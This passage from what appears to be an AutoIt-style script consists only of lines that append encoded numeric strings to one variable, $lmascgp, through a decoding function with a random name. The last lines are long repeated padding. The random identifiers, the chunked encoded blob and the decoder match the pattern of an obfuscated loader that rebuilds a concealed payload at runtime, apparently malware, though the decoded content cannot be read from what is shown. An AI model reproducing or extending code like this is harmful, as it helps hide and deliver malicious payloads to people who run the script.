  163. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,57,55,57,54,57,55,56,56,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,6,56,6,56,5,56,56,56,55,56,56,57,57,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,56,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,56,56,56,6,57,56,56,6,56,55,56,57,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56")
  164. $lmascgp &= btbxjymrfgaetpa("60,57,55,56,6,57,57,57,55,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,56,6,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,57,54,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,57,57,56,6,57,56,56,6,56,55,57,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,60,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,60,56,6,57,56,56,6,56,55,57,58,56,60,57,54,57,57,57,54,57,54")
  165. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,57,56,56,54,56,6,56,5,56,56,56,55,56,57,56,60,56,6,57,56,56,6,56,55,56,6,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,60,57,57,56,6,56,5,56,56,56,55,56,58,57,57,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,60,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,58,56,6,56")
  166. $lmascgp &= btbxjymrfgaetpa("6,57,56,56,6,56,55,56,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,56,59,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,58,56,56,56,6,57,56,56,6,56,55,56,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,57,56,56,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,54,57,59,56,55,57,55,56,6,56,5,56,56,56,55,56,58,56,60,56,6,57,58,56,56,56,55,56,60,56,6,56,55,56,5,56,6,57,56,56,53,56,55,56,60,57,57,56,6")
  167. $lmascgp &= btbxjymrfgaetpa("57,58,57,54,56,6,57,54,56,57,57,59,56,55,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,53,57,57,56,60,56,59,56,6,57,56,56,6,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,59,56,54,57,59,57,54,57,54,57,54,57,54,57,56,56,60,56,57,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,60,57,54,56,6,56,56,56,5,56,59,57,54,56,6,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56")
  168. $lmascgp &= btbxjymrfgaetpa("5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,57,57")
  169. $lmascgp &= btbxjymrfgaetpa("57,54,56,60,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56")
  170. $lmascgp &= btbxjymrfgaetpa("6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,56,56,60,56,55,56,5,56,55,56,60,56,6,57,56,56,6,56,55,56,55,56,60,57,54")
  171. $lmascgp &= btbxjymrfgaetpa("57,55,57,54,57,54,57,54,57,54,57,55,56,5,56,6,57,57,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,59,57,55,57,57,56,53,57,57,56,60,56,54,56,60,56,60,56,60,56,60,56,55,56,57,56,55,56,54,56,55,56,53,57,54,57,54,56,53,56,55,56,60,56,6,57,54,57,54,56,5,56,55,56,57,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,56,56,60,56,55,56,60,57,54,57,54,56,53,56,55,56,60,56,6,56,6,57,56,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,56,57")
  172. $lmascgp &= btbxjymrfgaetpa("57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,57,57,57,56,56,56,59,56,60,56,54,56,6,56,60,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,56,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,58,56,55,57,56,56,60,57,57,56,6,57,58,56,53,56,57,56,57,57,57,56,57,56,57,57,54,57,54,56,54,57,59,56,59,56,60,56,6,57,56,56,56,56,55")
  173. $lmascgp &= btbxjymrfgaetpa("57,55,56,6,56,55,56,60,56,6,56,5,56,53,57,56,57,55,56,60,56,6,56,5,56,53,57,56,57,54,57,57,56,6,56,5,56,53,57,56,57,56,56,6,56,6,56,5,56,53,57,56,57,54,56,6,56,6,56,5,56,53,57,56,57,56,57,57,56,60,56,57,57,54,56,57,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,56,56,56,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,56,6,57,57,57,57,56,60,56,58,56")
  174. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,59,56,57,57,55,56,55,56,60,56,56,56,55,56,60,56,60,56,60,56,60,56,53,56,55,56,58,57,55,56,6,57,56,56,56,56,55,57,55,56,6,56,55,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,56,55,56,53,56,55,56,53,56,54,56,6,56,60,57,57,56,60,56,60,56,60,56,60,56,60,56,6,56,55,56,53,56,55,56,53,56,55")
  175. $lmascgp &= btbxjymrfgaetpa("56,53,56,55,56,53,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,58,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,55,56,59,56,60,56,55,56,57,57,54,57,54,56,5,56,55,56,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,6,56,60,56,60,56,59,56,55,56,53,56,54,57,59,56,59,56,6,56,6,57,56,56,56,56,55,57,58,56,56,56,55,56,60,56,55,56,53,57,54,57")
  176. $lmascgp &= btbxjymrfgaetpa("54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,53,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,53,56,54,57,59,56,60,56,56,56,6,57,56,56,56,56,55,56,60,56,6,56,55,56,60,56,6,57,58,56,56,56,55,57,58,56,6,56,6,56,57,57,57,56,60,56,60,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,56,6,56,5,56,53,57,56,56,60,56,6,57,54,57,54,56,5,56,55,56,6,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,5,56,60,57,57,56,55,56,53,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54")
  177. $lmascgp &= btbxjymrfgaetpa("56,5,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,55,57,58,57,58,57,57,56,6,57,58,56,56,56,55,56,60,56,6,56,57,57,58,56,56,56,54,56,57,56,56,56,53,56,55,56,60,57,55,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,57,56,57,55,56,6,57,58,56,56,56,54,56,55,56,60,56,55,56,53,56,54,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,54,57,59,56,56,56,60,56,6,56,5,56,56,56,55,57,56,56,60,56")
  178. $lmascgp &= btbxjymrfgaetpa("6,57,56,56,56,56,55,57,56,56,60,56,55,56,60,56,55,56,53,56,54,56,6,56,59,57,54,56,60,56,60,56,60,57,54,56,60,56,60,56,6,57,56,56,56,56,55,57,55,56,60,56,55,56,60,56,6,56,5,56,53,57,56,57,56,56,56,57,54,57,54,56,5,56,55,56,6,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,57,58,56,55,56,6,57,58,56,56,56,55,57,56,56,60,56,54,57,59,56,56,56,60,56,55,56,53,56,54,57,59,56,60,56,58,56,6,56,5,56,56,56,55,57,56,56,6,56,6,57,56,56,56,56,55,57,56,56,6,56,55,56,60,56,55,56,53,56,55")
  179. $lmascgp &= btbxjymrfgaetpa("56,53,56,55,56,53,56,6,57,56,56,56,56,55,57,54,57,57,56,55,56,60,56,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,57,55,56,60,57,54,57,54,56,5,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,56,5,56,60,56,6,57,58,56,56,56,54,56,57,56,56,56,6,56,5,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,55,57,56,56,60,56,6,56,5,56,56,56,55,57,56,57,57,56,6,57,58,56,56,56,55,56,60,56,6,56,57,57,58,56,56,56,54,56,57,56,56,56,53,56,58,56,60,57,54,56,57,57,58,56,56,56,54,56,55,56")
  180. $lmascgp &= btbxjymrfgaetpa("60,56,53,56,53,56,60,57,59,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,56,56,60,56,55,56,53,56,54,57,59,56,60,56,58,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,56,55,56,53,56,55,56,53,56,55,56,53,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,53,56,55,57,55,56,60,57,54,57,54,56,5,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,5")
  181. $lmascgp &= btbxjymrfgaetpa("56,59,57,59,56,55,56,53,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,54,57,54,56,53,56,55,57,54,57,57,56,54,57,59,57,54,57,54,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,55,56,5,57,54,57,58,57,54,57,55,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,54,56,55,56,56,56,6,57,58,56,55,57,58,56,57,57,57,57,54,57,54,56,53,56,55,56,60,57,57,57,54,57,54,56,53,56,55,57,54,57,57,57,54,57,54,56,5,56,55,56,55,56,56,56,60,56,59,56")
  182. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,6,56,57,57,57,56,56,56,60,57,57,56,6,56,5,56,53,57,56,57,55,56,56,56,54,56,54,56,57,57,58,56,56,56,54,56,60,56,54,56,53,56,57,56,57,56,58,56,6,57,58,56,56,56,55,56,60,57,57,56,6,57,56,56,5,57,57,56,60,56,57,56,60,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,58,56,60,56,57,56,60,56,57,56,56,56,55,56,60,57,57,57,54,57,54,56,53,56,57,57,54,57,57,56,55,56,60,56,6,57,58,56,56,56,57,57,54,56,6,56,60,56,57,56,56,56,55,57,54,57,57,56,55,56,60,57,54,57,54,56,5")
  183. $lmascgp &= btbxjymrfgaetpa("56,55,56,55,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,60,57,54,57,58,56,53,56,56,56,54,56,60,56,54,56,6,56,57,57,57,56,56,56,60,57,57,57,54,57,54,56,56,56,55,57,55,56,56,56,6,56,57,57,57,56,57,56,58,56,6,56,57,56,5,56,56,56,55,57,55,56,56,56,53,56,58,57,56,56,6,56,6,57,56,56,56,56,55,57,57,57,57,56,55,56,60,56,54,57,59,56,60,56,56,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,56,6,57,58,56,56,56,55,57,58,56,6,56,6,56,57,57,57,56,60,56,60,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,56,6,56")
  184. $lmascgp &= btbxjymrfgaetpa("5,56,53,57,56,57,57,57,57,57,54,57,54,56,5,56,55,56,53,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,57,57,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,60,56,53,56,60,56,60,56,60,56,59,56,60,56,60,57,54,57,54,56,5,56,55,56,54,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,57,59,56,58,57,54,57,55,57,54,57,54,57,54,57,54,56,6,57,58")
  185. $lmascgp &= btbxjymrfgaetpa("56,56,56,54,56,58,56,6,56,60,56,57,56,56,56,55,57,54,56,6,56,6,56,5,56,6,56,55,56,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,57,57,57,54,57,54,56,5,56,55,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,53,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,57,56,59,57,54,57,54,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,55,57,55,57,57,57,54,57,54,56,5,56,55,56,54,56,6,56,60,56,59,56")
  186. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,59,57,54,57,54,57,54,57,54,57,54,57,54,57,54,56,6,57,58,56,56,56,55,57,55,56,6,57,55,56,5,56,58,57,55,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,57,57,55,56,56,57,54,56,6,56,6,56,59,57,55,57,57,56,58,56,6,56,60,56,56,56,60,56,60,56,60,56,60,56,6,56,57,57,59,56,56,56,58,56,56,56,56,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,60,56,55,56,54,56,55,56,53,56,6,56,59,57,55,57,57,56,53,56,6,56,60")
  187. $lmascgp &= btbxjymrfgaetpa("56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,55,57,55,56,55,56,5,56,6,57,58,57,54,57,57,56,6,57,56,56,6,56,56,56,58,56,56,56,57,56,60,56,60,56,56,56,60,56,60,56,60,56,60,56,6,57,56,57,58,56,56,56,58,56,56,57,58,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,56,57,57,59,56,55,57,55,56,6,57,54,57,58,57,55,56,58,57,54,57,54,57,54,57,54,56,54,57,59,56,55,57,55,56,55,56,5,56,54,57,59,56,54,56,54,56,6,57,58,57,54,56,60,56,55,56,6,56,54,57,59,56,53,56,58,56,6,57,56,56,53,57,57,56,58,56,56,56,57,57")
  188. $lmascgp &= btbxjymrfgaetpa("57,57,54,56,57,57,59,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,60,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,58,56,55,56,6,56,54,57,59,56,54,57,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,56,56,55,56,6,56,54,57,59,56,54,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,54,56,55,56,6,56,54,57,59,56,54,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,6,56,55,56,6,56,54,57,59,56,53,56,5,56,54,56,54")
  189. $lmascgp &= btbxjymrfgaetpa("56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,59,56,55,56,6,56,54,57,59,56,55,57,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,57,56,55,56,6,56,54,57,59,56,53,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,55,56,55,56,6,56,54,57,59,56,54,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,60,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,58,56,55,56,6,56,54,57,59,56,54,57,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56")
  190. $lmascgp &= btbxjymrfgaetpa("58,56,56,56,55,56,6,56,54,57,59,56,54,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,6,56,55,56,6,56,54,57,59,56,54,57,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,59,56,55,56,6,56,54,57,59,56,54,56,56,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,57,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,55,56,55,56,6,56,54,57,59,56,55,57,54,56,54,56,54,56,6,56,5,56,56")
  191. $lmascgp &= btbxjymrfgaetpa("56,56,56,58,56,56,56,57,56,60,56,55,56,6,56,54,57,59,56,57,56,60,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,58,56,55,56,6,56,54,57,59,56,57,56,59,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,56,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,54,56,55,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,56,56,57,56,57,57,57,56,60,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,54,56,6,57,56,56,56,56,56,56,58,56,56,56,60,57,57,56,55,56,60,56,54,57,59,56,60,56")
  192. $lmascgp &= btbxjymrfgaetpa("60,56,54,57,59,56,60,56,60,57,54,57,54,56,55,56,56,56,58,56,56,56,55,56,6,57,54,57,54,56,53,56,55,56,60,56,6,57,54,57,54,56,5,56,56,56,58,56,56,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,5,56,55,56,60,57,54,57,54,56,53,56,55,56,60,56,6,56,6,57,56,56,6,56,56,56,58,56,56,57,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,57,54,56,5,56,56,56,58,56,56,56,6,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,6,56,57,57,57,56,56,56,60,57,57,56,58,56,59,56,56,56,56")
  193. $lmascgp &= btbxjymrfgaetpa("56,58,56,56,56,60,56,6,56,6,56,57,56,53,57,57,56,58,56,56,56,60,56,6,56,54,56,56,56,53,57,56,56,58,57,57,56,6,56,59,57,55,57,57,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,55,57,55,56,55,56,5,56,6,57,58,57,54,57,57,57,54,57,54,56,53,56,55,56,60,57,57,56,6,57,56,56,6,56,56,56,58,56,56,56,58,57,57,56,60,56,57,56,60,56,60,56,60,56,60,56,6,57,56,57,58,56,56,56,58,56,56,57,58,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,56,57,57,59,56,55,57,55,56,6,56,58,56,57,57,54,57,57,57")
  194. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,57,54,57,54,56,56,56,56,56,58,56,56,56,60,56,6,56,6,56,55,57,57,56,60,56,53,56,56,57,57,57,56,56,55,57,54,56,55,57,55,56,6,57,58,57,55,56,55,56,55,57,56,57,57,56,58,56,60,56,6,56,60,56,60,56,55,56,59,56,6,57,56,56,56,57,57,56,58,56,56,56,60,56,56,56,58,57,58,57,57,56,6,56,59,57,58,57,57,56,60,57,54,56,53,57,56,56,60,56,58,56,57,57,57,56,6,56,6,57,58,57,57,56,56,56,58,56,55,56,60,56,60,57,54,56,60,57,54,57,54,57,54,57,54,56,57,57,58,57,57,56,6,56,53,56,58,56,60,57,59,56,6,57,58,57,57")
  195. $lmascgp &= btbxjymrfgaetpa("56,59,56,55,56,5,56,5,56,56,56,6,57,58,56,60,56,60,56,6,56,5,56,60,56,56,56,58,56,56,57,57,56,57,56,58,57,56,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,6,56,55,56,60,56,60,57,55,57,58,57,55,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  196. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  197. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  198. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  199. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  200. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  201. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  202. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
